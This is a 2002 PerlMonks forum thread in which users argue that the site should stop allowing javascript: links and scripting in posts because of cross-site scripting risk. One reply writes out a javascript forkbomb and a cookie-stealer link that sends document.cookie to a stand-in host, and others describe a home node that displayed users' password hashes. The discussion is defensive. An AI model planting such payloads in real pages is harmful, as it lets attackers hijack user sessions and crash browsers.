Beefy Boxes and Bandwidth Generously Provided by pair Networks
There's more than one way to do things
 
PerlMonks  

Filtering potentially dangerous URI schemas in <a href="...">

by IlyaM (Parson)
on Oct 20, 2002 at 12:56 UTC ( [id://206647]=monkdiscuss: print w/replies, xml ) Need Help??

I just noticed this post and I was shocked to find that PerlMonks website lets to use javascript schema in links. It is highly insecure as it lets mailcious user to make a node with javascript link that for example steals user cookies when clicked. And AFAIK there are exist some other browser specific URI schemas which may be dangerous as well. IMHO only safe schemas like 'http', 'https', 'ftp' and 'mailto' should be allowed in links.

--
Ilya Martynov, ilya@iponweb.net
CTO IPonWEB (UK) Ltd
Quality Perl Programming and Unix Support UK managed @ offshore prices - http://www.iponweb.net
Personal website - http://martynov.org

Replies are listed 'Best First'.
Re: Filtering potentially dangerous URI schemas in <a href="...">
by Aristotle (Chancellor) on Oct 20, 2002 at 17:05 UTC

    I wouldn't want them filtered entirely. There are a few legitimate (or at least non-malicious) uses for it.

    Here's an idea that caters to everyone: add onClick="confirm('This link may be dangerous. Follow anyway?')" to such links. It is unintrusive to those who surf with Javascript disabled too.

    Although, thinking about it, there may be sensitive browser-specific schemes that work when Javascript is disabled, in which case that would be no good. If that's deemed important to catch, links with non-standard schemes could lead to altered presentation, maybe unsafe link: like this.

    Makeshifts last the longest.

      Link coloring may be an option, but you have to keep in mind that people are using different CSS themes, so this probably should be implemented as a CSS class rather than blunt <font color="#ff0000">.
        Actually, that was on purpose. That way, neither themes nor CSS will lead to the colour accidentally being overridden. I was aiming for a representation that would be completely and entirely unmistakable under any circumstances.

        Makeshifts last the longest.

Re: (nrd) Filtering potentially dangerous URI schemas in <a href="...">
by newrisedesigns (Curate) on Oct 20, 2002 at 13:35 UTC

    Perl Monks has a pretty good filtering system so that all nodes that contain malicious or copyrighted content are quickly filtered out.

    I don't like JavaScript, but it does have some useful and entertaining uses.

    I'd like to suggest that if any sort of link filtering were to be done on Perl Monks, let it be the removal of onLoad and onUnload JavaScript actions. They're the sneaky ones, for they will execute without user intervention (and most likely without the user's knowledge).

    You could also surf with JavaScript turned off... ;)

    John J Reiser
    newrisedesigns.com

      I don't like JavaScript, but it does have some useful and entertaining uses.

      Sure it has legimate uses. The problem is that allowing third party to put arbitrary javascript code on a web site is insecure. It is called Cross Site Scripting.

      I'd like to suggest that if any sort of link filtering were to be done on Perl Monks, let it be the removal of onLoad and onUnload JavaScript actions.

      IIRC filtering of these and similar attributes is already implemented.

      --
      Ilya Martynov, ilya@iponweb.net
      CTO IPonWEB (UK) Ltd
      Quality Perl Programming and Unix Support UK managed @ offshore prices - http://www.iponweb.net
      Personal website - http://martynov.org

      I don't like JavaScript, but it does have some useful and entertaining uses.

      Listening to both sides, I'm hearing

      "It's all fun and games until someone gets an eye poked out."
      I'll side with IlyaM on this. Arbitrary Javascript in URL schemes is Not A Good Thing.

Re: Filtering potentially dangerous URI schemas in <a href="...">
by Juerd (Abbot) on Oct 21, 2002 at 07:06 UTC

    I agree. You should really not be able to use any scripting in nodes. Some argue that dangerous links can be protected, but I think that if a link really is dangerous, it should not be a link - give us the URL in plain text, if you have to.

    Javascript forkbombs (for(;;) window.open(document.location)) and cookie stealers (<a href="javascript:'http://foo.com/?c='+document.cookie">) are too easy to do, and I don't think PM users should be given the power. There's the ability of using all Javascript you want on home nodes that can sometimes be entertaining, but I think we shouldn't be allowed to do any scripting at all.

    - Yes, I reinvent wheels.
    - Spam: Visit eurotraQ.
    

Re: Filtering potentially dangerous URI schemas in <a href="...">
by Dog and Pony (Priest) on Oct 21, 2002 at 15:07 UTC
    Agreed. On a related note, I saw a report that some special URL type related to windows help could wipe your computer under XP (SP1 fixes this). Apparently an url with a winhelp specific schema could order the computer to write a file to any place you name on disk. Such as somewhere in the system directories... No, no link, and not confirmed. But wouldn't be surprised if it was true.

    Only allowing the above (https?, ftp, mailto) would eliminate such as well.


    You have moved into a dark place.
    It is pitch black. You are likely to be eaten by a grue.
Re: Filtering potentially dangerous URI schemas in <a href="...">
by @rocks (Scribe) on Oct 21, 2002 at 03:38 UTC
    Hey IlyaM,

    Nice to meet you. I am a new user to this site but I have also discovered these things and have been alarmed by them. Such as Petruchio's home node. It steals your password hash (or used to at least) and then feeds back a java pop up saying pretty much, "I know what your password is now and I can crack the hash and mess with your mind." Also on some home nodes there are button that if you click them say obscene things in the CB under your name! This is very disturbing that people would trick other people to click on buttons just to chuckle at them when Nodereaper brings his wrath upon the unlucky user that clicked the evil button.

    -@rocks

      I strongly agree that allowing users to post javascript is a reckless oversight that should be remedied as soon as possible. Like all other websites, Perlmonks is subject to the same security issues that affect public sites. You can not trust user input, and can not afford to allow users to acces programming APIs unless you clearly and prominently describe the risk to all users.

      That perlmonks allows JS in posts troubles me quite a bit. I am not comfortable being exposed to abuse by a users of a web application, no matter how good the intent is which brought about the exposure.

      Exposing perlmonks to cross-site scripting hacking by allowing javascript is a real oversight and it is incomprehensible to me that non-trusted users are allowed to post JS at all.

      The sad fact of the matter is that JS is a permanent part of most web browsing experiences.

      I would be very much happier if all user-generated JS was reaped from all pages, and JS candy was simply banned.

      Don't we routinely lambaste Microsoft for doing similar unfortunate things with their products?

      Why is it ok for us to put out features because they are cool without considering the consequences on the general population?

      About petrucio's password hash hack... It is not so bad because it only shows the encrypted pwd and can only access cookies related to Perlmonks. With current JS security, I believe that unless you send email messages, you can only talk to the server the page came from. But nevertheless, JS can really mess up pages (through DOM manipulations for example)

      I propose that it would be better if scriptign commands were reaped unless held within <code /> tags.

      hackmare.
      roasp.com

        About petrucio's password hash hack... It is not so bad because it only shows the encrypted pwd and can only access cookies related to Perlmonks. With current JS security, I believe that unless you send email messages, you can only talk to the server the page came from.
        If I can display your cookie to you, I can send it to me. If I can get your cookie, I can login as you.

        I'm not sure what is allowed nowadays in scripts on home nodes, and I didn't go check the script in question (I'm pretty sure Petruchio is *not* sending it anywhere anyways) but the above should be true unless someone actually took a lot of time parsing and allowing certain js commands and not others. :)


        You have moved into a dark place.
        It is pitch black. You are likely to be eaten by a grue.
Re: Filtering potentially dangerous URI schemas in <a href="...">
by @rocks (Scribe) on Oct 23, 2002 at 03:29 UTC
    Like Dog and Pony said, non-malicious JS can become malicious with a blink of an eye. And sometimes they get information that could be considered private without actually being used as malicious items. Also, I have question. How do I disable my java script? I really want to and I don't know how to. In Petruchio's home node it says, "this is why you shouldn't leave java script enabled". Well I hear this warning and I want to diable it....but how?

    -@rocks

Log In?
Username:
Password:

What's my password?
Create A New User
Domain Nodelet?
Node Status?
node history
Node Type: monkdiscuss [id://206647]
Approved by Aristotle
help
Chatterbox?
and the web crawler heard nothing...

How do I use this?Last hourOther CB clients
Other Users?
Others having a coffee break in the Monastery: (6)
As of 2024-03-19 07:19 GMT
Sections?
Information?
Find Nodes?
Leftovers?
    Voting Booth?

    No recent polls found